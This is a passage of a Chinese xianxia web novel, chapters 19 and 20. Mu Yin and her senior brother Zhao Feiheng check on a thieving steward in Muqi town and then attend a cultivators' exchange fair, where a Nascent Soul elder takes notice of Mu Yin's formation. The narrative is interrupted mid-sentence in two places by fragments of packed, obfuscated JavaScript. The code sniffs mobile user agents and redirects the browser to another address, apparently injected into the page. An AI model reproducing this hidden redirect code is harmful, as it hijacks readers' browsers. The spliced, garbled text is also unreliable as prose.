言则夫子讲过水云门卡在大隋朝边境上,几乎是一道天险,无人敢侵犯。这些牝族怎么可能混到水云门山脚下的,还大张旗地鼓驾车带货进入大隋朝管辖范围内! “这些牝族啊,都是翻越摩平山脉过来的。”小二端来一盘绿梅糕点,一碟水煮花生,一碟酒渍番茄,一一摆上。 “来做什么?做生意?”木音心生疑云,还想再问,目光一下子被那碟酒渍番茄吸引,惊讶到说不出话来。这东西她上辈子见小姨做过一次,没想到这个世界也有。 “谁知道呢。” 小二指着那碟红艳艳的小番茄,俯下身子,小声说:“这是小店新出的点心。酒是自家酿的果酒,果子都是从仙人山上采来的,这红果是个新鲜物件,味道不错,是那些牝族带来的,也不知道那些家伙从哪儿弄来的。您二位尝尝,图个新鲜。” 草帽下,另一个温润的声音说道:“小二,我看这碟小菜别的桌都没有,怎么就给我们?” 小二嘿嘿一笑,凑的更近些,压低声音说道:“不瞒您说,这几天咱镇上突然多出来不少生面孔,有人说是仙人来了。我看您二位气质不凡,肯定也是仙人。我家掌柜的可羡慕仙人了,这碟小菜啊,哎,跟不要钱似的往外送,都快送没了。” 说着,小二皱紧眉头,一副替掌柜的心疼坏了的样子。 赵飞衡手指轻扣桌面,稍稍思索一番,从袖口摸出一点赏银,随手赏给小二,将人打发走。 “大师兄,我们要跟上去看看吗?”等人走远了,木音问道。 这木旗镇就在水云门脚下,有异族人“偷渡”进来,作为东道主的管事的,于情于理,大师兄总归要去看看,至少得摸清楚这帮人来做什么吧。如此,她就能名正言顺回斑斓谷了。 似乎是摸清她心里所想,草帽下传来极轻的笑声,大师兄缓缓说道:“不急,我先带师妹四处走走。” 19. 19 木旗镇有不少可逛的铺子,女孩子云集的胭脂铺子,打铁匠的打铁铺,卖珍宝法器的奇物阁,让小孩子走不动道的糕点铺……木音跟着大师兄,匆匆路过这些铺子,逆着穿红戴绿的人流往前,一直走到一群脚夫汇聚的地方。 熟悉的大树下,一群人肩靠肩挤在一起休息。 大师兄停在距离大树不远的小巷,和木音一起静静望着停在巷口的板车和独来独往的小孩。小孩抱着一代粮食摇摇晃晃向前走,将粮食放到车上,再折回巷子。 千算万算,木音没想到大师兄会带她来这里! 果然,大师兄要和她算陈年旧账了吗……木音一边在心里哀嚎,一边盘算玉清风给自己的符箓和灵石,悄悄捂紧储物袋。 要是情况不对,她或许还有机会卷款逃跑。 “两位仙人前来,有失远迎,还,还望恕罪。”老管事满头大汗地跑过来,抬头看一眼高大的男子,气质斐然,身形似乎有点眼熟,再看他身后是一名女修,连忙低下头,两只手在腰后擦了擦。 匆匆见过一面,木音感觉这管事的似乎更胖了。 也对,九年已过,她也长大了,管事的只是个普通人,理所当然会衰老。想到这,木音轻叹一口气。 赵飞衡不留痕迹地瞥了一眼身后的木师妹,微微皱进的眉头眨眼就松开。他掏出一块令牌,举到管事的面前。 这令牌上刻有符文,隐约有宝光闪烁。但凡长眼睛的,一看便知,这是一件有灵气的物件。 赵飞衡说道:“无妨,我等路过此地。今日是下山的日子,可有何异常?” 这哪儿是“路过”,分明就是“特意”跑过来的。木音默默在心里嘀咕,有点搞不懂大师兄此举的用意。 若是敲山震“她”,直接说便是;偏偏听他话里的意思,似乎还想和管事的多聊两句。 “一切照旧。”管事的说道,恨不得把头埋进地里,圆滚滚的脖子挤出两圈肉,汗水顺着沟壑滴滴落下,在黄土地上形成一块深色的水斑。 “哦?一切照旧?”赵飞衡边说边走到板车旁,随手解开一袋,露出里面红彤彤的果子,分外眼熟。 正是木音在茶楼见过的酷似小番茄的果子。 “我看你这板车上不只有米面粮油,还有新奇的玩意儿啊。这也是要送上山的?” 赵飞衡取出一颗果子,食指和大拇指用力,鲜红的果汁顺着指缘滴落到地上,落在管事的眼前。 管事的慌忙解释道:“仙人恕罪,仙人恕罪。这是小人今日刚得到的新花样。小人瞧这镇上不少酒楼都用这果子做菜,体谅仙人在山上清修辛苦,便想送到山上,给厨房的尝尝,看下次要不要多买些,做道新菜,送到各峰。” “还有下次?”赵飞衡的声音微微上扬。 气氛瞬间降至冰点。 木音站在一旁看着,有种担心错付了的松弛感。 ——怎么感觉大师兄像是真带她下山转转,没有警告她的意思。 错觉! 一定是错觉! 听裴罄然说,大师兄虽师承掌门,但行事狠辣,就像一亩田的秧苗齐齐整整长着,猛不丁窜出一株又高又歪的,大师兄就是那株歪苗。 只见赵飞衡向前走两步,管事的立刻把弯的腰又向下弯了一些,就差把头贴地上。 “不错。” 赵飞衡轻轻拍了拍管事的肩膀,将一脸懵的管事的扶起来,语气平和,似乎还有几分鼓励:“念你辛苦多年,之前那些小贪小拿之事,本座既往不咎。只要你一心为我宗,我宗不会待你太苛刻。” 管事的一听,人怔在原地。足足五秒时间,他才反应过来,猛地提一口气,眼泪和话一起飙出来:“仙人放心,我王二就是个实心眼儿,定为了门派肝脑涂地,在所不辞,此心天地可鉴,日月皆知。” 很轻的气声响起。 木音笃定,大师兄笑了。这个人给她一种很奇妙的感觉,真实,却也捉摸不清。 “这话,话糙理不糙。少听点茶楼说书的,尽快返回山上。”暗示性的拍了拍管事的,大师兄转身带着木音离开。 “是是是,小的就是个粗人。”管事的连连赔笑道。 走过一条街,木音鼓起勇气,小声询问:“大师兄,你早就知道这位管事借职务之便行偷拿之事,为何要特意在山下处置他,若是在山上直接将他抓住不更好?任他插翅也难飞。” 大师兄停下,立在一株紫藤花架下,缓缓问道:“师妹,这山上山下有何区别?” 木音:? 都是人,能有什么区别? “山下有部分土地归大隋朝,有部分土地归荒漠蛮族,山上是水云门的地界。若是大隋朝灭,土地的归属或许会有另一番说法。” 大师兄轻笑一声,语气中有几分赞许:“看来言师弟的确是个好老师,师妹学得很好。” 木音尴尬地笑了笑。要不是她一心向学,说不定再学一年有些东西也学不会。有道是“好记性不如烂笔头”,对于她这种脑子不灵光的人来说,这是颠扑不破的真理。 “不过,师妹忘了一点。山下是人族,山上是我等修仙之士。凡人之事,我修仙之士不插手。那位管事手脚不干净之事理当在山下处理。” “大师兄说得是,师妹谨记。”木音附和道。 大师兄这话说的比“各人自扫门前雪,莫管他人瓦上霜”更冷漠。修仙者不管山下事,偏偏这交流会就开在山下。明明占尽土地资源,大事小情却都斤斤计较,生怕挨着碰着脏了自身一片衣角。 “我听人说,师妹自幼聪慧,记性极好,我还以为此次前来师妹定会问我为何还任用当初那名管事?”赵飞衡嘴角含笑,慢慢说道。 这又是哪个人?活的,死的?呸! 木音发现这人不管什么时候,总是一副笑吟吟地样子。 笑面虎! “大师兄谬赞了,旁人说的终归有点水分,我天生驽钝,脑子也不好使,学习更是吃力,哪会记得什么前尘往事。斑斓谷很好,我生活在那里很安心。” 话音刚落,木音感觉一道目光毫不避讳地落在她脸上,火辣辣的。 “大师兄?” 大师兄眼睛一转,略长的凤眸微微勾起,有种别样的美,勾得木音一愣一愣的,但从这美人嘴里吐出来的话,毒似砒霜:“师妹不用拘谨。我知道师妹当年误闯入山下,既是年少纯真,也有旁人引导在先。山上枯燥,小孩子活泼好动,最受不了。不过,这位管事常年经营此事,助长歪风邪气,视门规为无物,的确可恨。” 木音心道,说得冠冕堂皇,好像下一秒就把人生吞活剥了似的,到最后不还是让这家伙活得好好的,九年胖了一大圈,都差点认不出来了。 “大师兄做事向来公正,想来是那位管事劳苦功高,罪不至此。” “那倒也没有。” 木音:…… 她完全不敢抬头看大师兄那张脸,生怕自己面由心生,控制不住脸上的肌肉,露出内心狰狞的表情。 这人是要怎样!是他吃亏吗!分明不是啊。这破事儿都过了九年,怎么还阴魂不散的缠着她! “还请大师兄赐教。”想来想去,只有这句话用在这最合适。 “木师妹未免也太客气了,反倒显得我们这几年久未联系,越发生疏了。” 赵飞衡摸摸木音的脑袋,心平气和地说:“其实这也没什么。我知道这位管事借下山采办之机,用想下山看一看的孩子代替花钱雇来的长工。孩子天性难抑,人的贪婪难以控制,念在他从未弄丢过有资质的孩子,我不打算深究。” 这一刻,木音终于懂了此次大师兄带她下山的目的,但,若真是如她所料,大师兄此番也太小题大做了,完全没有一派话事人的风头。 “大师兄特意带我来,就是为了告诉我这位管事还在?我既已入水云门,便和门内是兄弟一道追求长生大道。这位管事此生怕是难以见到我,就算真遇见了,也未必认得出来。大师兄多虑了。” 要不是“大师兄”这个响当当的身份,木音懒得说这么多,一个词足以解决:神经病。 “师妹聪慧,想必不需要我多说。只须记住一点:既入修仙一途,便和这些人,这些物,这些事斩断瓜葛,不再有联系。等你筑基,会有一次下山斩断尘缘的机会,到时候自会明了。” “大师兄说得是,师妹谨记于心。”木音暗自松了口气。总算把下山这事儿说清楚了,眼下再提回去的事应该没问题吧? 木音刚抬头,话都已经酝酿好几轮,刚要说出口,只见一只竹蜻蜓“滴滴答答”扑扇着翅膀飞过来,绕着两人转一圈。 大师兄抬起右手,竹蜻蜓落在他中指指节凸起处,翅膀一收,嘹亮的声音将木音吓了一跳:“飞衡兄,你和你那位师妹到哪儿了?我已经在百里旅舍外站了好一会儿。这帮蛮族一身腥臊味儿,一会儿你可别嫌我身上味儿重,我昨夜已经仔仔细细刷洗过一遍了。” 这人越说,大师兄的脸越黑,没等对方说完,他翻手捏着竹蜻蜓的脑袋,强行叫停。 “师妹,我们往回走,我这位朋友在百里旅舍等着。” 这话,木音刚刚听得一清二楚。难得见大师兄窘迫的样子,还挺好笑的。她佯装刚刚没听清,断断续续说着“嗯嗯”“这样啊”“好的好的”这些词。 返回宗门计划,搁浅。 木音跟着大师兄再次走进人流集中之地,慢慢的能瞧见百里旅舍前的石碑。 而在木旗镇的另一侧,无人注意到的角落里,管事的靠在小巷尽头的墙壁上休息,小童抱着一壶油经过,侧目看一眼,悄悄放慢脚步。管事的打个盹,头一歪,脑袋直接穿入墙内,一眨眼的功夫,那副肥硕的身躯完全挤入饱经风霜的墙壁内,消失不见了。 墙壁后面是一方灰暗的空间。 环顾四周,一切都是熟悉的样子。黑暗或深或浅,哪怕是盯着远处深色的色块看,时间一久就会有种立马要掉进去的感觉。 管事的拍拍肩膀上蹭的墙灰,掸掸袖子,快步往前。瞧见朦朦胧胧看见几根线条勾勒的椅子和人形,他小心翼翼地上前,跪在地上,说道:“启、启禀使者,水云门刚刚来人检查,都被小的打发走了。” “来人是谁?”低沉的嗓音响起,声线刺耳,一下一下割在他的耳朵里。 管事的努力咽口口水,忍住清嗓子的冲动,说道:“小的只认识令牌,不知道具体是哪座峰上的仙人,还望使者恕罪。” 无人回应,只有一阵阴风吹过。 他忍不住悄悄抬头往上看。椅子上空空如也,正疑惑着,下一秒,熟悉且瘆人的声音在他旁边响起,极近,极危险,急出一身鸡皮疙瘩。 “无妨。只要你按照我说的做,事成之后,我定会遵守诺言,助你踏上仙途。” “谢,谢使者。” 等身边的人气儿散去,管事的才鼓起勇气,抬手一把撸干净下巴上的汗水,哆哆嗦嗦退出空间。刚沾上阳光,他就像从棺材里爬出来的鬼一样,浑身都软了,肥硕的身子似乎小了些,正虚弱地靠在墙壁上“呼哧呼哧”喘气。 远处,小童坐在板车上,小口小口啃着怀里的饼,一点儿没发现周围的异常。 * “飞衡兄,这才几日不见,你的修为精进了不少啊。”身穿翠金丝线绣制猛虎下山图的男子拍着大师兄的肩膀,笑嘻嘻的把脸往上凑,余光撇到跟在后面的木音,一脸惊讶地说:“这就是你说那位师妹,她……” “不是。”赵飞衡一口否决,略带嫌弃的将那只胳膊推开,开始给身边两人做介绍:“这是木师妹,绮珊师叔的记名弟子。木师妹,这是贺道友。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089035|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 木音行礼,短短应了声。 三人站在一处无人的拐角处,十米外有一个馄炖摊子,汤的香味儿飘过来,一下一下勾起木音的馋虫。她不饿,单纯就是有点馋了。 “师妹不必拘礼,我叫贺峻,叫我贺道友,贺师兄,都行。” 贺峻面相大概二十五六岁,逢人就笑,和大师兄不含真情的笑不同,他的笑容透着一股傻气,莫名地让人感到安心。 木音含笑说道:“贺师兄。” “哎!飞衡兄你……” “哎什么哎,身上一股味儿,离远点。”赵飞衡一脸不快,拎着木音的肩膀将人拽到一边,然后一根手指头戳在贺峻肩膀上,满脸嫌弃地说:“去洗澡。” 贺峻:…… “不是,我给你的传信你又只听了一半吗?那些蛮族人身上一股味儿,你也知道清洁术没用,我现在到哪儿去找水洗澡。小爷我洗澡不得香皂美人作陪,还得要鲜花暖汤,这穷山恶水,哪儿有洗澡条件!” 要不是知道赵飞衡的习惯和秉性,他绝对掉头就走,而且在心里狠狠给这家伙记上一笔。可赵飞衡此人的确是个难得的好人……不谈他那些穷讲究的话。 木音正在旁边吃瓜看戏,冷不丁闻到一股血味儿,连忙四下看看,寻找这股气味儿的来源。 “师妹,怎么了?”大师兄问道。 要是平常,木音绝对不会多想,但大师兄此刻说这话,再加上旁边还有个眨巴着大眼睛的贺峻,未免有点落荒而逃的意味。 “我闻到血腥味,但这附近并没有肉铺,此时也不是做饭的时候。” “是我,是我。之前在秘境里受了伤,还没有好,刚刚似乎扯到了。我看看啊。”贺峻边说边撸起袖子,露出一道极深的伤口,似乎是被锯齿形利器隔开,两侧的肉撕得细碎,紧密地粘在一起,形成一条褐色的血疤。 “疼吗?”赵飞衡问道。他从储物袋中取出一个白瓷瓶。 贺峻嘿嘿一笑:“不疼。” “那来点盐吧。” 木音:!!! 她轻轻“咝”了一声,眼看贺峻收起笑脸,一脸惊悚地想将受伤的胳膊收回,却被大师兄以极快的速度掐住,心中满是同情。 大师兄拨开瓷瓶的塞子,一股脑儿将瓶中的盐倒下去。 “咝——”贺峻痛得嗷嗷叫。 一股奇异的香味儿弥漫开来,只稍稍闻一下便让人觉得身心通畅。 “哎?哇,多谢飞衡兄。”贺峻的苦瓜脸瞬间展开,笑嘻嘻地道谢。见木音一脸疑惑,他乐滋滋解释道:“这东西要是放在其他小镇上,绝对是疗伤圣品,不过,若是水云门的话,这就得另当别论了。” “想得美。” 大师兄收起剩下半瓶灵药,面无表情地说:“两枚中品灵石,离开木旗镇之前记得给我。” 贺峻神采飞扬的脸瞬间垮下去,看着都有点苦相。 “罢了罢了,我们还是尽快去交流会吧。众神在上,希望交流会能给我一点好运气。”他潇洒地甩甩衣袖,将逐渐愈合的伤口挡住,然后别在腰间的极鲜亮的锦囊中取出一枚玉佩。 玉佩周身散开一层朦胧的柔和祥光,中间有一道弯弯曲曲的裂痕,将雕刻的两只貔貅图案一分为二。 贺峻指尖一点,玉佩飞到墙壁上,自中间一分为二,凭空在墙上打开一个框。框内是一片白,仔细看,似乎还有灵气在流动,衬得后面的黄土墙又黑又黄。 “这是……门?”木音轻声问道。 “正是。”贺峻比一个手势,说道:“那些老东西要举办交流会就办呗,还要讲什么资格,喏,这就是进入的凭证。呸,区区一块令牌,还要我们抢得头破血流。” 赵飞衡一掌拍在他后脑门上:“修仙一途,争抢是常事。莫要误了木师妹。” “啧~你今天怎么怪怪的?平时也没见你这么正经,怎么,你还怕了那帮老东西不成?”贺峻捂着痛处,小声嘀咕两句,抢在挨打前双脚一蹦,跳进门内。 大师兄后退一步,示意木音先行。 木音仰头仔仔细细打量这个门,心里啧啧赞叹:很难想象这样一枚小小的玉佩竟然能连通两个空间,那……小说里那些大能搬山填海,动不动打得山河破碎、空间撕裂会不会也能实现? “这钥匙是用大隋朝皇室贡品的边角料制作而成,有人族的信仰之力作为桥梁,便不会对使用者的实力有苛刻的要求。”大师兄说道。 “人族的信仰之力?”想到之前贺道友说的“神明在上”,木音心生一丝异样的感觉。 修仙之人,与天争,与地抢,怎么会憧憬神明? 而且,这个世界的神明以什么证道立身,信众又是谁,除了百姓,修士中又有多少? 她还想继续问下去,门内冷不丁窜出一张冷脸,冷冷地催促:“喂,你们到底来不来啊?真让我一个人站在这等着吗?” “这就来。”赵飞衡随口答道,目光看向木音。 是该走了,以后再问吧。木音按住内心的困惑,鼓起勇气上前一步。从某种程度上来说,她也是能“穿墙而过”的人啦。 赵飞衡紧随其后。 随着最后一块衣料消失在门内,由玉佩开启的大门轰然崩塌,化作大片大片的白光,随风拂过盛开的紫藤花,落在勤勤恳恳卖馄饨的老板身上。 “老板,来一碗馄饨。” “好嘞。” 一名脚夫坐过来,从怀里掏出两个饼,和钱一并放在桌上。 不多时,老板手脚麻利地端来一碗现包的馄饨,多加汤,一滴没撒,稳稳地端到他面前。真香,难怪今日突然馋这一口。他暗自嘟囔几句,就着热汤大快朵颐起来。 老板一扫之前被受冷遇的失落,忙着收拾桌案上的面粉。 这一开张,今日的生意就好做了。 20. 20 木旗镇的交流会由几名元婴老怪联合举办。 说是“交流”,其实是划开一片天地,让修士们自行交易天财地宝,法器零兽,借此聚拢人气。这种活动一般只办在人流聚集的地方,像在木旗镇这种犄角旮旯里举办,还是第一次。因此,有不少在附近清修的散修和水云门内的弟子偷偷前来。 木音走在街道上,目不斜视,努力扮演好“顺便路过的散修”的形象。 迎面走来一位熟面孔。 ——经常来送灵石等资源的陈师姐。 陈师姐似乎已经认出木音。有草帽遮掩,加上面熟之人似乎完全不认识自己,只管昂首向前,她也只是微微皱起眉头,忍不住往那张脸上多看几眼,碍于情面不得不在对方发现之前收回目光,皱着眉头擦肩而过。 木音尚且如此,素来备受水云门万众瞩目的大师兄只会更甚。从街道两侧、前前后后偷偷瞥来的目光就差把旁边的木音戳死。 反观贺道友一副快活风流的样子,还有心思和那些女修抛媚眼,得了一记白眼也不气馁。 越往前走,人流变得稀少,同向而行之人变多。 木音小声问:“大师兄,我们要装作谁都不认识吗?我感觉陈师姐刚刚已经认出我了。她还回头看我。” “认识谁,该不该认识,对我而言倒是没什么。我担心他们今天下午认出我们,晚上山门内就会流言四起,到了明天,斑斓谷外怕是不得安生。听闻玉家近来一直想进山和玉师妹一叙,传来的木简没有二十,也有十五个吧。”大师兄说道。 “避免过多肢体接触”八个字“当”一下又跳出来,木音不着痕迹往旁边挪了一小步,心里琢磨着怎么把话圆回去。 正巧,贺峻走到两人中间,一只手搭一个肩膀,问道:“斑斓谷?玉师妹?飞衡兄说的可是绮珊道人的唯一嫡传弟子,玉家旁支出身的玉清风?” 木音问道:“贺师兄,你知道玉师姐?” 在她坚持不懈地用“稳健大法”的熏陶下,玉清风这九年里极为低调,算是大门不出二门不迈,一心精进修为,钻研剑法,和原著中小小年纪就在修仙界闯出一番名气的“玉清风”相差十万八千里。 贺峻一个散修,并非修仙世家弟子,怎么也知道玉清风的名号? “这玉家和妖族积怨已久,几年前还和一只九尾狐妖大战一场,打坏一座山头,山洪倾斜,村庄倾覆,惹得民怨沸腾。大隋朝外派官员前去安抚灾民,那位官员到了地方才发现他能做的只有立衣冠冢这一件事,安抚民众后匆匆回到京城,将玉家大骂一通就辞职回家了。你说好不好笑?哎,说书先生就玉家和妖族结怨的由来都快编出百八十个版本了,小爷我怎会不知?更可笑的是,玉家这一代人才凋零,隐隐有颓败之势,那个在山上清修的玉清风自然就被人频繁提起。”贺峻说道,语气中不乏取笑之意。 听他话里的意思,他似乎与玉家没什么交情。 那位对外提起玉清风之人恐怕也没安什么好心,为家族争一口气,为名利争一口气,于修仙一途毫无意义。修仙,从来只为自己争,为自己抢。 只是,她的身份和立场不便说这些,干脆闭口不言,顺着贺峻的目光向前看。 边说边走,三人来到一座金碧辉煌的阁楼面前。 阁楼共六层,每一层都透着浓浓的珠光宝气。第一层大门敞开,下有十八层台阶。台阶上,台阶下,密密麻麻的人头如搬家的蚂蚁,慢慢进出那足有这六米宽的大门。 ——奇物阁。 “这交流会看多了也就那样,无非是些脏了旧了坏了的老东西,跟捡破烂似的。外面那些摆摊的不过是小打小闹,木师妹,我们进去看看,这里面的东西才有意思。”贺峻仰头看着牌面上的三个字,眼中被染成金绿色。 木音看向大师兄。能不能进,可不是她说了算的。 “奇物阁虽遍布天下,每一地出售的法器、宝物都不尽相同。若是像今日这般碰上交流会,的确会有不少有意思的东西。”大师兄说道。 “不过。”他话锋一转,看向旁边的贺峻。 “奇物阁家大业大,规矩繁琐,还设有不少限制,我和师妹的草帽尚能通过,贺道友,你的法器怕是要收起来为妙。” 贺峻脸色刷的一黑,讪笑道:“飞衡兄,这奇物阁中的禁制难不成还能和皇城里那座的禁制一样?这就是一座临时搬来的阁楼,哪有这么大的能耐?” “不信,你试试?” 贺峻还真不信,扭头拾阶而上,打算试试这奇物阁的禁制。 就在这时,阁楼一层右侧打开一扇门,门里走出两名护卫,一人抬起一只胳膊,架住中间男子的胳膊,合力将人丢出去。那人摔在第九阶,一路滚下去,周边的人见怪不怪,纷纷让路。 木音拉了一下旁边人的袖摆,望着那个方向:“大师兄,那个人被扔出来了,这也是奇物阁的规矩吗?” “我只见过哄抬高价被赶出来的,那位道友说不定是因为其他事。” 赵飞衡刚说完,他们正前方传来“哎呦”一声。 木音仰头一看,一个鼓囊囊的花色包袱正飞射而来,惊呼一声:“贺道友!” 贺峻被奇物阁上的禁制击中,反弹出来。不仅易容的法器原地碎成渣渣,连自身也没能幸免于难,一边“漏气”,一边惨叫,引来不少人驻足观看。 “师妹,小心!”千钧一发之际,即便是赵飞衡也只能做出选择,要么救木音,要么救贺峻。 他一咬牙,伸手去抓木音。 他答应过玉师妹,一定会护木音平安回去,决不食言。 这一扑,却扑了个空。 他没瞧见木音的身影,手臂刚伸展开,神识突然探查到身前有一堵厚重的墙壁凭空而起,快速扑来。紧接着,眼前一道白光闪烁,他被一股强横的力量推出去,猝不及防直接飞起来。 “你这小娃娃,学得是什么阵法?”八角高楼顶上降下一道声音。 台阶上、台阶下,不少人驻足观望,为数不多的十几位结丹修士能感受到话语中蕴含的灵力和威压。 ——说话的,是一位元婴老怪。 灵压之下,赵飞衡挣扎着从地上爬起来,第一时间去找木师妹。 只见原先的位置已被一道巨大的风系阵法占据,木师妹站在阵中,掌中有一道宝光;贺道友已变回原来的模样,小小的个子被风系灵力聚成的风绳缠住,悬在半空中,昏睡着,似乎一时半会儿醒不过来。 “木师妹,收阵!”他大声喝道。 几乎是眨眼间,木师妹竟能快速布置如此完整的阵法。不论是阵法造诣,还是对灵力的掌握,这都不该是一个炼气期修士具备的。 这样的人,决不能被元婴老怪盯上。 赵飞衡努力消解掉身上的灵压,慢慢觉得有点冷。 这冷意来势汹汹,他望向周围,发现附近好几位道友的眼睫毛上都或多或少沾上白色的霜花。 那一瞬间,被冻麻了的脑子“咯哒”转了下,他猛地转头,发现阵法被这股冷意具像化,屏障中的风变成了流通的水,汩汩流淌。 不知何时,阵中多了一个高瘦的身影。 “也罢,不为难你们这些小辈。”阵中人说道。他轻轻抬手,冷气消散,阵法也随之散开,点点荧光环绕在周围。 贺峻“哐当”一下摔在地上。 “擅闯奇物阁禁制,老夫摔他一下算轻的。”老道瞥一眼远处的碎片,冷冷说道:“至于那法器,有点意思,碎了它就当是小小惩戒。” “见过前辈。多谢前辈。”木音行礼,努力控制住哆嗦的声音,一字一句地说。 她的记忆断在用阵法救下贺道友的瞬间,或许是震惊于贺道友易容之前的容貌,她愣了一下,连阵法出现明显的晃动,都有些难以控制。 她曾在斑斓谷将这个阵法演练千万次,不可能出错;作为持阵者,她理当对阵法格外敏感,稍有异常不可能察觉不出来。之前的晃动,现在凭空出现的老者,都让她感到心悸。 “老夫观你的阵法布得不错,师从何人?”老道边说边取走木音掌中的宝光,轻轻一捏,宝光碎裂,露出其中的三面小旗子。 “晚辈。”木音刚想说“自学成才”,余光撇见一道熟悉的身影冲过来,下意识放慢语速。 “前辈,晚辈水云门赵飞衡,见过前辈。”赵飞衡冲上来,两手一合,上下各摆一下,草草拜了个礼,急匆匆说道:“这位是本门绮珊道人的弟子,师妹,还不快见过古恩前辈。” 古恩冷笑一声:“怎么?怕我吃了她?就这点雕虫小技,本座还看不上眼,莫不是以为全天下就你们水云门高贵?” 说着,他将完全失去灵性的三面小旗扔过来。 赵飞衡看都没看那三面旗子,赔礼道:“晚辈曾从在大隋皇城的祭祀之礼中远远见过前辈,久仰前辈大名,万万不敢冲撞前辈。” “你说你叫赵飞衡?” 大隋皇城的祭祀礼仪可不是谁都能参加的,这青年不仅认出他的模样,还能是站在能见到元婴修士的位置,有点来头。 古恩沉默片刻,终于从久远的记忆里找到这个名字:“水云门掌门的开山大弟子?” “不敢当,家师就在山上,前辈可有时间一聚?” 转瞬间,原本剑拔弩张的两人都挂上笑意,古恩笑呵呵地说了几句客套话,对上山一事表示拒绝:“本座受人所托,还有事在身,等得了空闲,定上山讨一杯茶喝。你水云门坐拥一片山峦,山上雾气缭绕,环境宜人,喝茶也别有一番滋味。” 赵飞衡暗自将这番话记在心里,眉目中多了几分轻松之意,又和古恩多说几句才道别。 元婴老怪一走,周围的荧光散去,恍若一方小世界坍塌,他们三人又重新站在地上,身边人来人往,不知为何,总觉得比之前多了几分生气。 “大师兄……” 木音刚开口,便听见大师兄传音入耳:“师妹,噤声。” 赵飞衡抱起地上的贺峻,带着木音直奔奇物阁。阁内正处在两场宝物交流会交替之间,场内人来人往,声音嘈杂哦,他们混在其中,还算不显眼。贺峻虽然横躺着,只要有人偷来好奇的目光,一看到他的脸,便觉得不算奇怪了。 作为水云门大师兄,赵飞衡亮出身份,轻轻松松开一间位置不错的空房,有小生在前毕恭毕敬地引路。 “天字七号,上客。”小生高声说道,轻轻将门关上。 房间内只剩下他们三人。 赵飞衡先用风系阵法罩住房间内部。源源不断的风系灵力挤满每一个角落,将所有空隙都挨个探查一遍,他再用一道隔音阵罩住他们。 这一波操作直接将木音给震住了。 这、这这也太稳健了吧。大师兄这一手和她给玉清风的建议几乎一模一样,要不是天天守在斑斓谷,她都快怀疑这俩人是不是在自己看不到的地方互相切磋交流,增进感情了。 “好了,师妹,可以说了。”将贺峻安置在躺椅上,赵飞衡坐在四方桌边,给自己倒一杯茶。 “大师兄,你认识刚刚那位前辈?”木音决定先问当下最紧要的。 她不会看错的,那位老道显然对她的阵法很感兴趣。也不知是什么原因,捏碎那层宝光后,老道的眼里有一丝厌恶一闪而过,若非有大师兄从旁助力,很难说那位顷刻间决定她生死的前辈会对她做什么。 一想到这,她心里一阵后怕,背后冷汗连连。 “那位前辈叫古恩,元婴修士,散修出身,跻身元婴前一直默默无闻,进阶元婴后,曾出手越阶击杀好几位和他寻仇的修士。他以布阵见长,对你感兴趣,或许只是因为你的阵法独特。”大师兄说道。 “元婴修士怎么会来结丹修士聚集的交流会?”木音问道。 赵飞衡愣了一下:“师妹近来有听说什么吗?” “什么?”木音乍一听还没反应过来,意识到或许是大师兄想多了,连连摇头。原以为这种聚会最厉害的不过结丹期,怎么还有元婴老怪,早知如此,她说什么也不来了……就算来,也要多做几手准备。仅此而已。 她在斑斓谷能听到什么风言风语,裴罄然闭关,连个传声筒都没有。不对,近来倒是有一件噩耗。 ……或许,这只是巧合。 “古恩这几年一直驻守在大隋朝皇城,的确不该在此时出现在这里。”大师兄头一转,看向贺峻:“等他醒过来,问问他。” 等贺峻清醒的时间里,木音和大师兄一人坐一边。 大师兄掏出一副棋盘,他执白子,每下一子,黑子都会在棋盘上自行出现下一步,活像有人就在对面,要不是知道这房间里还叠了两层阵法,木音真会怀疑对面有个人在下棋。除了下棋,大师兄还喝了近半壶茶,摇铃两次,让小生送来一些点心,一一摆在桌上,只看不吃,香味扑鼻。 木音趴在小窗上看楼下竞价,也是交流。 修仙界的交流会和上辈子电视剧里的拍卖会很像,灵石虽然是硬通货,但这里主打“交流”。所有与会者会将要出手的材料拿出来,从别人手中换取自己心仪的;若是没有合适的材料,也可以用足够的灵石交易材料,这一步和拍卖会的竞价很像。 没过多久,贺峻哼哧哼哧醒过来,一眼瞧见桌上的点心,欢快叫道:“雪莲酥!淮姜饼!还有雪燕酊盏!” 他“噌”地一下从躺椅上跳起来,直奔小方桌,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101896|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起其中一块点心就往嘴里塞。 这架势,活像饿死鬼转世。 “贺道友,你还没有辟谷吗?”木音颇有些愧疚。无他,贺峻现在这副样子实在太具有欺诈性了。 谁能想到来之前还是个风流俊俏、潇洒不羁的杰出青年,被禁制打碎易容法器后,竟变成一个比木音还矮一头半的粉粉嫩嫩的面团子,脸上肉嘟嘟的。 “他只是嘴馋。”赵飞衡说道。 贺峻放下手里的点心,喝一口茶润润口,美滋滋地长舒一口气,这才有空闲关心另外两位:“你们找到自己心仪的材料了吗?” 木音现在哪有心思找稀罕物件,满脑子都是古恩那个冷冰冰的老头,神情蔫蔫的。 看样子,赵飞衡似乎也有心事,心思完全不在这交流会上。 贺峻的目光在两人中间转一圈,又急又气,恨铁不成钢地问:“不是吧!小爷我拼着碎掉一个法器的代价,今天舍命陪君子,你们竟然对这奇物阁里的东西不感兴趣!堕落了,真是堕落了,身为修仙者,怎么能没有世俗欲望,没有野心呢!” 